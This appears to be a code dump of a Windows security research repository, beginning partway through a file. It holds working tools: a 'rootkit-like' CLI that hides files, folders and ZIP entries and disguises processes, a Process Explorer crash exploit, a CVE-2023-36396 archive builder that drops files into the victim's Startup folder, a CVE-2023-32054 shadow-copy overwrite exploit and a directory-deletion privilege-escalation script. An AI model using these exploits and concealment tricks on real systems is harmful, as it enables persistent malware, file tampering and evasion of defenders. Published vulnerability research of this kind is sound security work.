attribute_list.contents.Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME 93 | attribute_list.contents.Attributes[0].Size = nt_exe_path_unicode_string.Length 94 | attribute_list.contents.Attributes[0].Value = cast(nt_exe_path_unicode_string.Buffer, ctypes.c_void_p).value 95 | 96 | process_handle = HANDLE() 97 | thread_handle = HANDLE() 98 | 99 | ctypes.windll.ntdll.NtCreateUserProcess.restype = c_ulong 100 | nt_status = ctypes.windll.ntdll.NtCreateUserProcess(byref(process_handle), byref(thread_handle), PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, None, None, nt_process_create_flags, nt_thread_create_flags, process_parameters, byref(create_info), attribute_list) 101 | if nt_status != 0: 102 | raise OSError(f"NtCreateUserProcess returned an error nt status: {hex(nt_status)}") 103 | 104 | return process_handle 105 | 106 | -------------------------------------------------------------------------------- /tools/magic_dot_cli/args.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from enum import Enum 3 | 4 | class ArgsCommands(Enum): 5 | """ 6 | Possible arguments commands. 7 | """ 8 | CREATE_INOPERABLE_FILE = 0 9 | CREATE_INOPERABLE_DIR = 1 10 | CREATE_IMPERSONATED_FILE = 2 11 | CREATE_IMPERSONATED_DIR = 3 12 | CREATE_IMPERSONATED_PROCESS = 4 13 | ADD_INVISIBLE_FILE_INTO_ZIP = 5 14 | DISABLE_PROCEXP = 6 15 | CREATE_DOTS_FILE = 7 16 | CREATE_DOTS_DIR = 8 17 | 18 | def parse_args(): 19 | parser = argparse.ArgumentParser(description="An unprivileged rootkit-like tool") 20 | commands_subparsers = parser.add_subparsers(title="command", dest="command", required=True) 21 | 22 | impersonate_proc_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_IMPERSONATED_PROCESS.name, help="Create a process that impersonates a different process. Both Task Manager and Process Explorer will display information about the target process to impersonate to") 23 | impersonate_proc_parser.add_argument("-exe-path", type=str, required=True, help="Path to the executable to run") 24 | impersonate_proc_parser.add_argument("-impersonate-to", type=str, required=True, help="Path to the executable that the process should impersonate to") 25 | 26 | inoperable_file_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_INOPERABLE_FILE.name, help="Create an inoperable file") 27 | inoperable_file_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the inoperable file in") 28 | inoperable_file_parser.add_argument("-copy-from", type=str, help="Path to a file that contains content to write into the inoperable file") 29 | 30 | inoperable_dir_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_INOPERABLE_DIR.name, help="Create an inoperable directory") 31 | inoperable_dir_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the inoperable directory in") 32 | inoperable_dir_parser.add_argument("-copy-from", type=str, help="Path to a directory that contains files to copy into the inoperable directory") 33 | 34 | dots_file_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_DOTS_FILE.name, help="Create a dots file") 35 | dots_file_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the dots file in") 36 | dots_file_parser.add_argument("-copy-from", type=str, help="Path to a file that contains content to write into the dots file") 37 | 38 | dots_dir_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_DOTS_DIR.name, help="Create a dots directory") 39 | dots_dir_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the dots directory in") 40 | dots_dir_parser.add_argument("-copy-from", type=str, help="Path to a directory that contains files to copy into the dots directory") 41 | 42 | impersonated_file_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_IMPERSONATED_FILE.name, help="Create a file that impersonates a different file") 43 | impersonated_file_parser.add_argument("-target-file", type=str, required=True, help="Path to the file that the new file impersonates to") 44 | impersonated_file_parser.add_argument("-near", action="store_true", help="Create the file near the target file") 45 | short_name_group = impersonated_file_parser.add_mutually_exclusive_group(required=False) 46 | short_name_group.add_argument("-use-existing-short", action="store_true", help="Use the short name of the target file to impersonate") 47 | short_name_group.add_argument("-use-specific-short", type=str, help="Use the short name of the target file to impersonate") 48 | impersonated_file_parser.add_argument("-copy-from", type=str, help="Path to a file that contains content to write into the impersonated file") 49 | 50 | impersonated_dir_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_IMPERSONATED_DIR.name, help="Create a directory that impersonates a different directory") 51 | impersonated_dir_parser.add_argument("-target-dir", type=str, required=True, help="Path to the file that the new directory impersonates to") 52 | impersonated_dir_parser.add_argument("-near", action="store_true", help="Create the directory near the target directory") 53 | short_name_group = impersonated_dir_parser.add_mutually_exclusive_group(required=True) 54 | short_name_group.add_argument("-use-existing-short", action="store_true", help="Use the short name of the target file to impersonate") 55 | short_name_group.add_argument("-use-specific-short", action="store_true", help="Use the short name of the target file to impersonate") 56 | impersonated_dir_parser.add_argument("-copy-from", type=str, help="Path to a directory that contains files to copy into the impersonated directory") 57 | 58 | invisible_zip_file_parser = commands_subparsers.add_parser(ArgsCommands.ADD_INVISIBLE_FILE_INTO_ZIP.name, help="Inserts a file into a zip. The file is inserted with a name that prevents Windows' ZIP archiver from being able to list it in the ZIP.") 59 | invisible_zip_file_parser.add_argument("-file", type=str, required=True, help="Path to file to insert into the ZIP") 60 | invisible_zip_file_parser.add_argument("-zip-file", type=str, required=True, help="Path to the ZIP file") 61 | 62 | disable_procexp_parser = commands_subparsers.add_parser(ArgsCommands.DISABLE_PROCEXP.name, help="Exploits a DOS vulnerability in ProcExp. Creates a process that runs forever and does nothing. The process has a certain name that crashes ProcExp whenever it runs. Valid against all ProcExp versions under version 17.04 (released in April 3rd 2023).") 63 | 64 | return parser.parse_args() -------------------------------------------------------------------------------- /tools/magic_dot_cli/command_handlers.py: -------------------------------------------------------------------------------- 1 | from magic_dot.concealments import ( 2 | create_impersonated_dir, 3 | create_impersonated_file, 4 | create_impersonated_process, 5 | create_dots_dir, 6 | create_dots_file, 7 | create_inoperable_file, 8 | create_inoperable_dir, 9 | add_invisible_file_to_zip, 10 | disable_procexp, 11 | ) 12 | from magic_dot.file_utils import nt_path 13 | 14 | 15 | def create_dots_file_from_args(args): 16 | dots_file_path = create_dots_file(args.parent_dir_path, args.copy_from) 17 | print( 18 | f'Dots file was created. From now on you can access the file using the following path:\n"{dots_file_path}" or using Cygwin\'s tools that use NT paths by default' 19 | ) 20 | 21 | 22 | def create_dots_dir_from_args(args): 23 | dots_dir_path = create_dots_dir(args.parent_dir_path, args.copy_from) 24 | print( 25 | f'Dots directory was created. From now on you can access the directory using the following path:\n"{dots_dir_path}" or using Cygwin\'s tools that use NT paths by default' 26 | ) 27 | 28 | 29 | def create_inoperable_file_from_args(args): 30 | inoperable_file_path = create_inoperable_file(args.parent_dir_path, args.copy_from) 31 | print( 32 | f'Inoperable file was created. From now on you can access the file using the following path:\n"{inoperable_file_path}" or using Cygwin\'s tools that use NT paths by default' 33 | ) 34 | 35 | 36 | def create_inoperable_dir_from_args(args): 37 | inoperable_dir_path = create_inoperable_dir(args.parent_dir_path, args.copy_from) 38 | print( 39 | f'Inoperable directory was created. From now on you can access the directory using the following path:\n"{inoperable_dir_path}" or using Cygwin\'s tools that use NT paths by default' 40 | ) 41 | 42 | 43 | def create_impersonated_file_from_args(args): 44 | impersonated_file_path = create_impersonated_file( 45 | args.target_file, args.copy_from, args.near, args.use_existing_short, args.use_specific_short 46 | ) 47 | print( 48 | f'Impersonated file was created. From now on you can access the file using the following path:\n"{nt_path(impersonated_file_path)}" or using Cygwin\'s tools that use NT paths by default' 49 | ) 50 | 51 | 52 | def create_impersonated_dir_from_args(args): 53 | impersonated_dir_path = create_impersonated_dir( 54 | args.target_dir, args.copy_from, args.near, args.use_existing_short, args.use_specific_short 55 | ) 56 | print( 57 | f'Impersonated directory was created. From now on you can access the directory using the following path:\n"{nt_path(impersonated_dir_path)}" or using Cygwin\'s tools that use NT paths by default' 58 | ) 59 | 60 | 61 | def create_impersonated_process_from_args(args): 62 | return create_impersonated_process(args.impersonate_to, args.exe_path) 63 | 64 | 65 | def add_invisible_file_to_zip_from_args(args): 66 | add_invisible_file_to_zip(args.zip_file, args.file) 67 | 68 | 69 | def disable_procexp_from_args(args): 70 | disable_procexp() 71 | -------------------------------------------------------------------------------- /tools/magic_dot_cli/magic_dot_cli.py: -------------------------------------------------------------------------------- 1 | from command_handlers import create_inoperable_file_from_args, create_inoperable_dir_from_args, create_impersonated_file_from_args, \ 2 | create_impersonated_dir_from_args, create_impersonated_process_from_args, add_invisible_file_to_zip_from_args, disable_procexp_from_args, \ 3 | create_dots_file_from_args, create_dots_dir_from_args 4 | from args import parse_args, ArgsCommands 5 | 6 | ARGS_COMMANDS_TO_HANDLERS = { 7 | ArgsCommands.CREATE_INOPERABLE_FILE: create_inoperable_file_from_args, 8 | ArgsCommands.CREATE_INOPERABLE_DIR: create_inoperable_dir_from_args, 9 | ArgsCommands.CREATE_DOTS_FILE: create_dots_file_from_args, 10 | ArgsCommands.CREATE_DOTS_DIR: create_dots_dir_from_args, 11 | ArgsCommands.CREATE_IMPERSONATED_FILE: create_impersonated_file_from_args, 12 | ArgsCommands.CREATE_IMPERSONATED_DIR: create_impersonated_dir_from_args, 13 | ArgsCommands.CREATE_IMPERSONATED_PROCESS: create_impersonated_process_from_args, 14 | ArgsCommands.DISABLE_PROCEXP: disable_procexp_from_args, 15 | ArgsCommands.ADD_INVISIBLE_FILE_INTO_ZIP: add_invisible_file_to_zip_from_args 16 | } 17 | 18 | def main(): 19 | args = parse_args() 20 | 21 | command_int_value = ArgsCommands[args.command] 22 | ARGS_COMMANDS_TO_HANDLERS[command_int_value](args) 23 | 24 | 25 | if "__main__" == __name__: 26 | main() -------------------------------------------------------------------------------- /tools/prepare_archive_rce_exploit/prepare_archive_rce_exploit.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import zstandard 3 | import tarfile 4 | import tempfile 5 | import os 6 | import py7zr 7 | 8 | from reparse_points.reparse_points import create_ntfs_symlink 9 | 10 | TAR_EXTENSION_TO_OPEN_MODE = { 11 | ".tar": "w", 12 | ".tar.gz": "w:gz", 13 | ".tar.gzip": "w:gz", 14 | ".tar.xz": "w:xz", 15 | ".tar.bz2": "w:bz2", 16 | ".tar.bzip2": "w:bz2", 17 | ".tar.zst": "w", 18 | ".tar.zstd": "w", 19 | } 20 | 21 | 22 | def create_exploit_7zip_archive(files_to_write_paths: list[str], relative_target_directory: str, out_archive_path: str): 23 | with py7zr.SevenZipFile(out_archive_path, "w") as archive: 24 | with tempfile.TemporaryDirectory() as temp_dir_path: 25 | for exe_path in files_to_write_paths: 26 | exe_name = os.path.basename(exe_path) 27 | temp_symlink_path = os.path.join(temp_dir_path, f"{exe_name}.link") 28 | temp_symlink_target_path = os.path.join(relative_target_directory, exe_name) 29 | create_ntfs_symlink(temp_symlink_path, temp_symlink_target_path, relative=True) 30 | archive.write(temp_symlink_path, arcname=exe_name) 31 | archive.write(exe_path, arcname=f"{exe_name}.") 32 | 33 | # For the exploit to work, the files needs to have Linux file attributes which are automatically given 34 | # if the archive is compressed in Linux but this program runs on Windows 35 | for file in archive.files: 36 | if file.filename.endswith("."): 37 | file.file_properties()["attributes"] = 2181005344 # attributes: A lrwxrwxrwx 38 | else: 39 | file.file_properties()["attributes"] = 2717876256 # attributes: A -rwxrwxrwx 40 | 41 | 42 | def create_exploit_tar_type_archive(files_to_write_paths: list[str], relative_target_directory: str, out_archive_path: str): 43 | selected_open_mode = "" 44 | for archive_ext, open_mode in TAR_EXTENSION_TO_OPEN_MODE.items(): 45 | if out_archive_path.endswith(archive_ext): 46 | selected_open_mode = open_mode 47 | 48 | for exe_path in files_to_write_paths: 49 | with tarfile.open(out_archive_path, selected_open_mode) as archive: 50 | with tempfile.TemporaryDirectory() as temp_dir_path: 51 | exe_name = os.path.basename(exe_path) 52 | temp_symlink_path = os.path.join(temp_dir_path, f"{exe_name}.link") 53 | temp_symlink_target_path = os.path.join(relative_target_directory, exe_name) 54 | create_ntfs_symlink(temp_symlink_path, temp_symlink_target_path, relative=True) 55 | archive.add(temp_symlink_path, arcname=exe_name) 56 | archive.add(exe_path, arcname=f"{exe_name}.") 57 | 58 | if out_archive_path.endswith(".tar.zst") or out_archive_path.endswith(".tar.zstd"): 59 | with open(out_archive_path, "rb+") as f: 60 | zst_compressor = zstandard.ZstdCompressor() 61 | compressed_data = zst_compressor.compress(f.read()) 62 | f.write(compressed_data) 63 | 64 | 65 | def main(): 66 | parser = argparse.ArgumentParser(description="Exploits CVE-2023-36396. Crafts a malicious archive that exploits Windows File Explorer to extract a file to an arbitrary relative path. The default relative path is set to point from the Downloads directory to the user's Startup folder") 67 | parser.add_argument("files_to_write_paths", nargs='+', default=[], help="File paths separated by spaces. These files are the files which will be written to the chosen victim's directory") 68 | supported_archive_types = list(TAR_EXTENSION_TO_OPEN_MODE.keys()) + [".7z", ".7zip"] 69 | supported_archive_types_str = '|'.join(supported_archive_types) 70 | parser.add_argument("out_archive_path", type=str, help=f"Path to the archive to be created that will contain the exploit. the type of the archive will be determined based on the file extension provided. Supported types: {supported_archive_types_str}") 71 | parser.add_argument("--target-dir-relative", type=str, help="A relative path from the victim's estimated extraction folder to the destination folder of the executables", default="../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup") 72 | args = parser.parse_args() 73 | 74 | if args.out_archive_path.endswith(".7z") or args.out_archive_path.endswith(".7zip"): 75 | create_exploit_7zip_archive(args.files_to_write_paths, args.target_dir_relative, args.out_archive_path) 76 | else: 77 | create_exploit_tar_type_archive(args.files_to_write_paths, args.target_dir_relative, args.out_archive_path) 78 | 79 | 80 | if __name__ == "__main__": 81 | main() -------------------------------------------------------------------------------- /tools/prepare_archive_rce_exploit/reparse_points/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/tools/prepare_archive_rce_exploit/reparse_points/__init__.py -------------------------------------------------------------------------------- /tools/prepare_archive_rce_exploit/reparse_points/reparse_points.py: -------------------------------------------------------------------------------- 1 | import win32file 2 | import winioctlcon 3 | import ctypes 4 | from .reparse_structs import * 5 | from magic_dot.file_utils import nt_path 6 | import pywintypes 7 | 8 | IO_REPARSE_TAG_SYMLINK = 0xA000000C 9 | IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003 10 | REPARSE_DATA_BUFFER_HEADER_LENGTH = getattr(REPARSE_DATA_BUFFER, "GenericReparseBuffer").offset 11 | 12 | def create_symlink_reparse_buffer(target_path: str, print_name: str, relative: bool): 13 | if not relative: target_path = nt_path(target_path) 14 | unicode_target_path = ctypes.create_unicode_buffer(target_path) 15 | unicode_target_path_byte_size = (len(unicode_target_path) - 1) * 2 # remove null terminator from size 16 | unicode_print_name = ctypes.create_unicode_buffer(print_name) 17 | unicode_print_name_byte_size = (len(unicode_print_name) - 1) * 2 # remove null terminator from size 18 | 19 | path_buffer_byte_size = unicode_target_path_byte_size + unicode_print_name_byte_size + 12 + 4 20 | total_size = path_buffer_byte_size + REPARSE_DATA_BUFFER_HEADER_LENGTH; 21 | 22 | reparse_data_buffer = ctypes.create_string_buffer(b"\x00" * (total_size-1)) 23 | reparse_data_struct = ctypes.cast(reparse_data_buffer, ctypes.POINTER(REPARSE_DATA_BUFFER)).contents 24 | reparse_data_struct.ReparseTag = IO_REPARSE_TAG_SYMLINK 25 | reparse_data_struct.ReparseDataLength = path_buffer_byte_size 26 | 27 | reparse_data_struct.SymbolicLinkReparseBuffer.SubstituteNameOffset = 0 28 | reparse_data_struct.SymbolicLinkReparseBuffer.SubstituteNameLength = unicode_target_path_byte_size 29 | 30 | path_buffer_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(SYMBOLIC_LINK_REPARSE_BUFFER, "PathBuffer").offset 31 | path_buffer_pointer = ctypes.cast(path_buffer_address, ctypes.POINTER(ctypes.c_byte)) 32 | ctypes.memmove(path_buffer_pointer, unicode_target_path, unicode_target_path_byte_size + 2) 33 | 34 | reparse_data_struct.SymbolicLinkReparseBuffer.PrintNameOffset = unicode_target_path_byte_size + 2 35 | reparse_data_struct.SymbolicLinkReparseBuffer.PrintNameLength = unicode_print_name_byte_size 36 | 37 | print_name_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(SYMBOLIC_LINK_REPARSE_BUFFER, "PathBuffer").offset + unicode_target_path_byte_size + 2 38 | print_name_pointer = ctypes.cast(print_name_address, ctypes.POINTER(ctypes.c_byte)) 39 | ctypes.memmove(print_name_pointer, unicode_print_name, unicode_print_name_byte_size + 2) 40 | reparse_data_struct.SymbolicLinkReparseBuffer.Flags = 1 if relative else 0 41 | 42 | return bytes(reparse_data_buffer) 43 | 44 | def create_mount_point_reparse_buffer(target_path: str, print_name: str, relative: bool): 45 | if not relative: target_path = nt_path(target_path) 46 | unicode_target_path = ctypes.create_unicode_buffer(target_path) 47 | unicode_target_path_byte_size = (len(unicode_target_path) - 1) * 2 # remove null terminator from size 48 | unicode_print_name = ctypes.create_unicode_buffer(print_name) 49 | unicode_print_name_byte_size = (len(unicode_print_name) - 1) * 2 # remove null terminator from size 50 | 51 | path_buffer_byte_size = unicode_target_path_byte_size + unicode_print_name_byte_size + 8 + 4 52 | total_size = path_buffer_byte_size + REPARSE_DATA_BUFFER_HEADER_LENGTH; 53 | 54 | reparse_data_buffer = ctypes.create_string_buffer(b"\x00" * (total_size-1)) 55 | reparse_data_struct = ctypes.cast(reparse_data_buffer, ctypes.POINTER(REPARSE_DATA_BUFFER)).contents 56 | reparse_data_struct.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT 57 | reparse_data_struct.ReparseDataLength = path_buffer_byte_size 58 | 59 | reparse_data_struct.MountPointReparseBuffer.SubstituteNameOffset = 0 60 | reparse_data_struct.MountPointReparseBuffer.SubstituteNameLength = unicode_target_path_byte_size 61 | 62 | path_buffer_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(MOUNT_POINT_REPARSE_BUFFER, "PathBuffer").offset 63 | path_buffer_pointer = ctypes.cast(path_buffer_address, ctypes.POINTER(ctypes.c_byte)) 64 | ctypes.memmove(path_buffer_pointer, unicode_target_path, unicode_target_path_byte_size + 2) 65 | 66 | reparse_data_struct.MountPointReparseBuffer.PrintNameOffset = unicode_target_path_byte_size + 2 67 | reparse_data_struct.MountPointReparseBuffer.PrintNameLength = unicode_print_name_byte_size 68 | 69 | print_name_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(MOUNT_POINT_REPARSE_BUFFER, "PathBuffer").offset + unicode_target_path_byte_size + 2 70 | print_name_pointer = ctypes.cast(print_name_address, ctypes.POINTER(ctypes.c_byte)) 71 | ctypes.memmove(print_name_pointer, unicode_print_name, unicode_print_name_byte_size + 2) 72 | 73 | return bytes(reparse_data_buffer) 74 | 75 | 76 | def set_reparse_point(reparse_point_path, reparse_data_buffer, is_dir=False): 77 | file_flags = win32file.FILE_FLAG_OPEN_REPARSE_POINT 78 | if is_dir: 79 | try: 80 | win32file.CreateDirectoryW(reparse_point_path, None) 81 | except pywintypes.error: 82 | pass 83 | file_flags |= win32file.FILE_FLAG_BACKUP_SEMANTICS 84 | else: 85 | open(reparse_point_path, "wb").close() 86 | 87 | reparse_point_handle = win32file.CreateFile(reparse_point_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, file_flags, 0) 88 | win32file.DeviceIoControl(reparse_point_handle, winioctlcon.FSCTL_SET_REPARSE_POINT, reparse_data_buffer, None, None) 89 | 90 | def create_ntfs_symlink(reparse_point_path, target_path, relative=False, print_name=None, is_dir=False): 91 | if None == print_name: print_name = target_path 92 | reparse_data_buffer = create_symlink_reparse_buffer(target_path, print_name, relative) 93 | set_reparse_point(reparse_point_path, reparse_data_buffer, is_dir) 94 | 95 | def create_mount_point(reparse_point_path, target_path, relative=False, print_name=None): 96 | if None == print_name: print_name = target_path 97 | reparse_data_buffer = create_mount_point_reparse_buffer(target_path, print_name, relative) 98 | set_reparse_point(reparse_point_path, reparse_data_buffer, True) 99 | 100 | -------------------------------------------------------------------------------- /tools/prepare_archive_rce_exploit/reparse_points/reparse_structs.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from ctypes.wintypes import * 3 | 4 | class GENERIC_REPARSE_BUFFER(Structure): 5 | _fields_ = (('DataBuffer', BYTE * 1),) 6 | 7 | class SYMBOLIC_LINK_REPARSE_BUFFER(Structure): 8 | _fields_ = (('SubstituteNameOffset', USHORT), 9 | ('SubstituteNameLength', USHORT), 10 | ('PrintNameOffset', USHORT), 11 | ('PrintNameLength', USHORT), 12 | ('Flags', ULONG), 13 | ('PathBuffer', WCHAR * 1)) 14 | 15 | 16 | class MOUNT_POINT_REPARSE_BUFFER(Structure): 17 | _fields_ = (('SubstituteNameOffset', USHORT), 18 | ('SubstituteNameLength', USHORT), 19 | ('PrintNameOffset', USHORT), 20 | ('PrintNameLength', USHORT), 21 | ('PathBuffer', WCHAR * 1)) 22 | 23 | 24 | class REPARSE_DATA_BUFFER(Structure): 25 | class REPARSE_BUFFER(Union): 26 | _fields_ = (('SymbolicLinkReparseBuffer', 27 | SYMBOLIC_LINK_REPARSE_BUFFER), 28 | ('MountPointReparseBuffer', 29 | MOUNT_POINT_REPARSE_BUFFER), 30 | ('GenericReparseBuffer', 31 | GENERIC_REPARSE_BUFFER)) 32 | _fields_ = (('ReparseTag', ULONG), 33 | ('ReparseDataLength', USHORT), 34 | ('Reserved', USHORT), 35 | ('ReparseBuffer', REPARSE_BUFFER)) 36 | _anonymous_ = ('ReparseBuffer',) 37 | 38 | 39 | dummy_object = REPARSE_DATA_BUFFER() -------------------------------------------------------------------------------- /tools/prepare_delete_dir_exploit.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | 4 | 5 | def parse_args(): 6 | parser = argparse.ArgumentParser(description="Exploits a \"won't fixed\" deletion EoP vulnerability triggered by a privileged user interaction. Creates a directory called \"... \" in a target directory to delete. When \"... \" is deleted, then its parent directory is deleted too.") 7 | parser.add_argument("target_dir", type=str, help="The target directory to try to delete. It is vulnerable only if you can create a directory inside it.") 8 | return parser.parse_args() 9 | 10 | 11 | def main(): 12 | args = parse_args() 13 | target_dir_abs_path = os.path.abspath(args.target_dir) 14 | os.mkdir(f"\\??\\{target_dir_abs_path}\\... ") 15 | open(f"\\??\\{target_dir_abs_path}\\... \\temp", "wb").close() 16 | 17 | 18 | 19 | if "__main__" == __name__: 20 | main() -------------------------------------------------------------------------------- /tools/prepare_shadow_copy_restoration_write_exploit.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | import shutil 4 | 5 | def parse_args(): 6 | parser = argparse.ArgumentParser(description="Exploits CVE-2023-32054") 7 | parser.add_argument("-target-dir", required=True, type=str, help="The target directory to try to overwrite its files. The directory is vulnerable if an unprivileged user is allowed to create a new directory its parent directory") 8 | parse_group = parser.add_mutually_exclusive_group(required=True) 9 | parse_group.add_argument("-replacing-dir", type=str, help="The directory that contains files with the same names in the same structure of the target dir but with the new desired content") 10 | parse_group.add_argument("-remove-dir", action="store_true", default=False, help="Delete the directory created a part of the exploit in an earlier point in time. This is recommended to be done after a shadow copy was taken by an admin, while the directory existed") 11 | 12 | return parser.parse_args() 13 | 14 | 15 | def main(): 16 | args = parse_args() 17 | target_dir_abs_path = os.path.abspath(args.target_dir) 18 | if args.remove_dir: 19 | shutil.rmtree(f"\\??\\{target_dir_abs_path} ") 20 | else: 21 | shutil.copytree(args.replacing_dir, f"\\??\\{target_dir_abs_path} ") 22 | 23 | 24 | 25 | if "__main__" == __name__: 26 | main() --------------------------------------------------------------------------------